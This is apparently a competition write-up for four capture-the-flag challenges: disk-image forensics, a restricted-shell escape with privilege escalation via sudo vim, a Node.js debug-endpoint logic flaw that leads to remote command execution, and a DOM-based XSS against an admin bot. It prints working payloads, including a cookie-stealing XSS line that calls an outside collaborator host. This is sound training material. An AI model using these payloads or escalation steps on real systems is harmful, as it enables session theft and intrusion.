ICMTC 2026 CTF Writeups: Black Box, Endgame, CatchEmAll & Osuvox Forums
1. Black Box (Misc)
Description
A drive image recovered from a failed extraction. The operative who was carrying it didn’t make it out. The image did. Whatever was being prepared for transport is still inside — locked, but not gone. Connect to this challenge via SSH using the IP and port provided —
ssh rook@<IP> -p <PORT>(password:hackthebox).
after connecting to the instance, the environment contained a forensic disk image and a few documentation files:
blackbox.img(A forensic Linux disk image)BRIEFING.txt(The mission objective)verify(A binary executable to submit the final recovery code)
BRIEFING.txt contains the following background:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────────────┐
│ GROUNDWORK // MISSION 09: BLACK BOX │
│ BUREAU ASSESSMENT │
└─────────────────────────────────────────────────────┘
ROOK,
We recovered a drive image from a previous operation.
Whoever was carrying it did not make it out.
The image did.
It is on this terminal. Get inside it and recover
whatever was being prepared for transport.
The archive inside is encrypted. The key did not
leave with the operator — it never does.
Submit with: ./verify <recovery_code>
— W
Methodology & Exploitation
Step 1: Internal File System Exploration
We are dealing with a Linux filesystem disk image (blackbox.img). To inspect its structure and contents without needing root permissions to mount it locally, we can leverage debugfs.
First, let’s list the root directory contents inside the image:
1
2
debugfs -R "ls -l /" blackbox.img
Seeing some critical assets listed in the output, we safely dump them from the filesystem into our current working terminal environment for closer examination:
1
2
3
4
5
debugfs -R "dump /notes.txt notes.txt" blackbox.img
debugfs -R "dump /contacts.txt contacts.txt" blackbox.img
debugfs -R "dump /archive.zip archive.zip" blackbox.img
debugfs -R "dump /logs logs" blackbox.img
Step 2: Analyzing the Protection Profile
Attempting to directly extract archive.zip prompts us for a password, confirming it is fully encrypted. 
To look for configuration files or credential leaks, we review notes.txt:
1
2
3
4
5
6
7
Exfil package prepared 2031-03-18.
Recovery data archived and encrypted using standard Bureau
tooling. See pack.sh for archive parameters.
Contents verified before transport. Package ready.
The notes point directly to an archiving configuration script named pack.sh. Since it wasn’t exposed in the primary root directory dump, we search the surrounding machine context using the find command:
1
2
find / -name "pack.sh" 2>/dev/null
Step 3: Extracting the Encryption Key
Inspecting the parameters inside the recovered pack.sh script exposes the cryptographic variable configuration:
1
2
3
PASS=$(echo "YjNhMTlkYTFiNTVjZTQ2Yw==" | base64 -d)
zip -r -P "$PASS" "$OUTPUT" "$TARGET_DIR/"
The password string is hardcoded inside the script logic but masked using Base64 encoding. Reversing the encoding layer exposes the cleartext value:
1
2
3
4
echo "YjNhMTlkYTFiNTVjZTQ2Yw==" | base64 -d
# Decoded credential: b3a19da1b55ce46c
Step 4: Accessing the Target Payload
With the proper password string (b3a19da1b55ce46c) uncovered, we unlock the archive container:
1
2
unzip -P b3a19da1b55ce46c archive.zip
This unpacks recovery.txt. Reading the file gives us the targeted application recovery code required by the bureau assessment validation software:
1
2
3
cat recovery.txt
# recovery code: 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0
Feeding this key token directly into the verify script processes our validation check successfully and drops the flag:
1
2
./verify 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0
Black Box’s Flag
HTB{3xt2_s3cr3ts_r3c0v3r3d}
2. Endgame (Misc)
Description
The final terminal. No briefing. No handler message on login. Just a line left in the shell history by whoever locked it down — and the work of getting through it. Everything you need to know, you already know. Connect to this challenge via SSH using the IP and port provided —
ssh rook@<IP> -p <PORT>(password:hackthebox).
Upon connecting to the instance with the provided credentials (rook:hackthebox), we found ourselves in a highly restricted shell environment. This type of shell limits the commands a user can execute, making direct interaction with the system challenging.
Methodology & Exploitation
Step 1: Escaping the Restricted Shell
To gain a fully interactive shell, we needed to bypass the restrictions. We identified that awk was available and could be used to execute arbitrary commands. The system() function within awk allowed us to spawn a new, unrestricted /bin/bash shell.
1
awk 'BEGIN {system("/bin/bash")}'
After obtaining a bash shell, we sourced the .escape_profile to ensure proper environment setup.
1
source ~/.escape_profile
For a more interactive and stable shell experience, we upgraded our shell using python3:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 2: Privilege Escalation via sudo and vim
With an unrestricted shell, the next step was to look for privilege escalation opportunities. We checked the sudo privileges for the rook user using sudo -l:
1
2
3
4
5
6
7
8
9
Matching Defaults entries for rook on
ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User rook may run the following commands on
ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:
(agent) NOPASSWD: /usr/bin/vim
The output revealed that the rook user could execute /usr/bin/vim as the agent user without a password (NOPASSWD). This is a common misconfiguration that can be exploited to gain a shell as the agent user.
We exploited this by using vim’s ability to execute shell commands from within the editor:
1
/bin/sudo -u agent /usr/bin/vim -c ':!/bin/bash'
This command launched vim as the agent user and immediately executed /bin/bash, granting us a shell with agent privileges.
Step 3: Recovering the Flag
As the agent user, we navigated to the agent’s home directory and found a README file. The README contained an encoded string and instructions similar to the previous challenge, indicating a verification step.
First, we decoded the provided string:
1
echo "==ANlVzY1gzN3EzM0IWZzQWZjljNmBTMhJDZ5QjNilzMmFzMxUmM1AjNlF2NiVDZiN2MhRmNyYjZhNzYyMzNxczY" | rev | base64 -d
This yielded the verification code: c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4.
Finally, we used the verify binary located in the agent’s home directory with the recovered code:
1
/bin/sudo -u agent /usr/bin/vim -c ':!/home/agent/verify c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4'
This executed the verify script as agent and successfully returned the flag.
Restricted Shell Escape’s Flag
HTB{3sc4p3d_th3_c4g3_r00k}
3. CatchEmAll (Web)
Description
Your one-stop resource to find which city you can find your favorite pokemon to catch on! Go catch ‘em all! Note: The remote instance might take a few minutes to spawn. Please be patient.
Upon extracting the provided archive web_catchemall.zip, we inspected the source code to understand the layout and find potential vulnerabilities.
Methodology & Exploitation
Step 1: Database Analysis (database.js)
We noticed that the application takes user input directly into a Cypher query without sanitization in the whereToCatch function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const neo4j = require('neo4j-driver')
const { execSync } = require('child_process');
class Database {
constructor() {
this.driver = neo4j.driver("bolt://localhost:7687", neo4j.auth.basic('neo4j', 'admin'));
this.db = this.driver.session();
}
async migrate() {
return new Promise(async (resolve, reject)=> {
while (true) {
try {
execSync('cypher-shell -uneo4j -padmin --database=neo4j < /etc/neo4j/schema.cypher')
break;
}
catch(e) {
console.log('neo4j has not started yet, retrying..')
}
}
resolve();
});
}
async whereToCatch(pokemon) {
return new Promise(async (resolve, reject) => {
let stmt = `MATCH (p:Pokemon)-[c:CAUGHT_IN]->(d) WHERE p.name = "${pokemon}" RETURN d.name AS destination, c.catch_type as catch_type`;
this.db.run(stmt)
.then(result => {
let rows = [];
result.records.forEach(record => {
if(record.hasOwnProperty('_fields')) {
rows.push({destination: record.get('destination'), catch_type: record.get('catch_type')});
}
});
resolve(rows);
})
.catch(e => {
reject(e);
})
});
}
}
module.exports = Database;%
Vulnerability Found: Potential Cypher Injection via the
pokemonparameter. The input is concatenated directly into the query string.
Step 2: Routing Analysis (routes/index.js)
When reviewing the router, we found two main endpoints:
POST /api/catch: Handles the Pokémon search query.GET /debug: An endpoint that executes system commands usingexecSync(cmd).
While examining the /debug route, we discovered a fatal Logical Flaw in the localhost protection mechanism:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const { execSync } = require('child_process');
const router = express.Router({caseSensitive: true});
const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
const response = data => ({ message: data });
let db;
router.get('/', (req, res) => {
return res.render('index.html');
});
router.post('/api/catch', async (req, res) => {
const { pokemon } = req.body;
if (pokemon) {
return db.whereToCatch(pokemon)
.then(rows => {
return res.json(rows);
})
.catch(e => {
console.log(e);
return res.status(500).send(response(e.toString()));
})
}
return res.status(500).send(response('Missing parameters!'));
});
router.get('/debug', async (req, res) => {
if (!isLocalhost(req)) return res.status(500).send('Debugging is disallowed public access');
const { cmd, secret } = req.query;
if (! secret === process.env.DEBUG_SECRET ) return res.status(500).send('Unauthorized');
if (cmd) {
try {
const cmdExec = execSync(cmd);
return res.json({cmd, output: cmdExec.toString()});
}
catch (e) {
return res.json({cmd, output: e.stderr.toString()});
}
}
return res.status(500).send(response('Missing required parameters'));
});
module.exports = (database) => {
db = database;
return router;
}%
The Flaw
The logic bug is in how isLocalhost is evaluated:
- When a request comes from the Internet,
isLocalhostreturns1(True). - The check
if (!isLocalhost(req))then evaluates!1, which isfalse. - Consequently, the block is skipped, and external users gain access to the debug functionality. Ironically, if the server itself tried to access it, it would return
0, and!0would betrue, resulting in a block!
Step 3: Remote Code Execution (RCE)
Since the /debug endpoint is fully exposed due to this logic bug and directly passes the cmd parameter to execSync(), we can achieve Remote Code Execution (RCE) instantly.
Looking at the initial file structure, we identified a compiled binary named /readflag designed to output the flag.
Execution Command
We sent a simple HTTP GET request to the /debug endpoint with the payload to execute the readflag binary the server responded with the command output containing the flag:
1
{"cmd":"/readflag","output":"HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}"}
CatchEmAll’s Flag
HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}
4.Osuvox Forums (Web)
Description
i-R0k and I0I created a marketplace for Oasis, continuously degrading players’ experience by creating Pay to Win conditions. Can you help the High Five to take it down?
Upon extracting the provided source files (challenge directory), we inspected the application structure to understand the layout and find potential vulnerabilities.
Methodology & Exploitation
Step 1: Bot Analysis (bot.js)
We noticed the application ships with an admin bot powered by Puppeteer, which holds a sensitive cookie and visits arbitrary posts:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const visitPost = async (id) => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.setCookie({
name: "flag",
'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}',
domain: "127.0.0.1:1337"
});
await page.goto(`http://127.0.0.1:1337/posts/${id}`, {
waitUntil: 'networkidle2',
timeout: 5000
});
};
Indicator Found: The presence of a headless browser bot carrying a
flagcookie and visiting/posts/${id}strongly suggests an XSS scenario, where the bot acts as the “victim” holding the prize.
Step 2: Template Analysis (views/post.html)
While reviewing the templates, we found a | safe filter that disables Nunjucks’ autoescaping:
1
<p class="mb-1"></p>
Initial Lead: A
| safefilter onpost.descriptionlooked like a classic stored XSS sink.
Step 3: Routing Analysis (routes/index.js)
When reviewing the router, we found the available endpoints:
GET /posts/:id: Renders a post and its comments.GET /report: Renders the report page.POST /api/report: Takes anidand triggersbot.visitPost(id).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const express = require('express');
const router = express.Router({caseSensitive: true});
const bot = require('../bot');
let db;
let botVisiting = false;
const response = data => ({ message: data });
router.get('/', (req, res) => {
db.listPosts()
.then(posts => {
return res.render('index.html', {posts});
})
.catch(e => {
res.render('index.html');
})
});
router.get('/posts/:id', (req, res) => {
const { id } = req.params;
if(!isNaN(parseInt(id))) {
db.getPost(parseInt(id))
.then(post => {
db.getComments(parseInt(id))
.then(comments => {
return res.render('post.html', {post: post , comments: comments});
})
})
} else {
return res.render('post.html', {error: 'Invalid post ID supplied!'});
}
});
router.get('/report', (req, res) => {
res.render('report.html');
});
router.post('/api/report', async (req, res) => {
const { id } = req.body;
if (botVisiting) return res.status(403).send(response('Please wait for the previous report to process first!'));
if(id) {
botVisiting = true;
return bot.visitPost(id)
.then(() => {
botVisiting = false;
return res.send(response('Report received successfully!'));
})
.catch(e => {
console.log(e);
botVisiting = false;
return res.status(403).send(response('Something went wrong, please try again!'));
})
}
return res.status(500).send(response('Missing required parameters!'));
});
module.exports = database => {
db = database;
return router;
};
The Flaw
The logic bug here is not in the templates — it’s that:
- There is no endpoint to create a new post, so
post.descriptioncan never be controlled by us. The| safefilter sink is unreachable. - The
idparameter passed tobot.visitPost(id)is concatenated directly into the bot’s navigation URL:1
await page.goto(`http://127.0.0.1:1337/posts/${id}`, ...);
This means any extra query string appended to id (e.g. 1?search=...) gets carried straight into the bot’s browser navigation, untouched.
Step 4: Client-Side Sink (static/js/forum.js)
Searching the static JS files revealed the real injection point:
1
2
3
4
5
let params = parseParams(location.href);
if (params.hasOwnProperty('search')) {
$('#search-res').style.display = 'block';
$('#search-msg').innerHTML = `Search results for "${params.search}" :`;
}
Vulnerability Found: A classic DOM-Based XSS — the
searchquery parameter is reflected directly intoinnerHTMLwith zero sanitization, entirely on the client side.
Step 5: First Attempt — Why It Failed
Our first payload was:
1
<script>fetch('//xxx.oastify.com/?c='+document.cookie)</script>
This rendered as plain text on the page and never executed. The reason: browsers never execute <script> tags injected via innerHTML, regardless of the application’s sanitization — this is a built-in DOM security behavior, not an app-level protection.
The fix: use a tag with an event handler instead, which does execute when inserted via innerHTML:
1
<img src=x onerror="fetch('//xxx.oastify.com/?c='+document.cookie)">
Step 6: Remote Cookie Exfiltration (Blind XSS)
The exploit chain became a pure Blind XSS via the report bot:
1
GET /posts/1?search=<img src=x onerror="fetch('//COLLABORATOR_ID.oastify.com/?c='+document.cookie)">
We then triggered the admin bot via the report endpoint:
1
{"id": "1?search=<img src=x onerror=\"fetch('//COLLABORATOR_ID.oastify.com/?c='+document.cookie)\">"}
The server responded:
1
{"message":"Report received successfully!"}
Execution Result
Polling our Collaborator listener returned an out-of-band HTTP callback from the bot’s headless browser, containing the stolen cookie:
Osuvox Forums’s Flag
HTB{l00k_0uT_f0r_bl1nd_X55!!!}
“The winner takes it all. So, the winner takes it all.”
“Closed it out at 12th not where we want to stay, but it’s what it’s.”
“Some others have confessed their wrongdoing: they have mixed goodness with evil.1 It is right to hope that Allah will turn to them in mercy. Surely Allah is All-Forgiving, Most Merciful.”
“وَآخَرُونَ اعْتَرَفُوا بِذُنُوبِهِمْ خَلَطُوا عَمَلًا صَالِحًا وَآخَرَ سَيِّئًا عَسَى اللَّهُ أَن يَتُوبَ عَلَيْهِمْ ۚ إِنَّ اللَّهَ غَفُورٌ رَّحِيمٌ”


















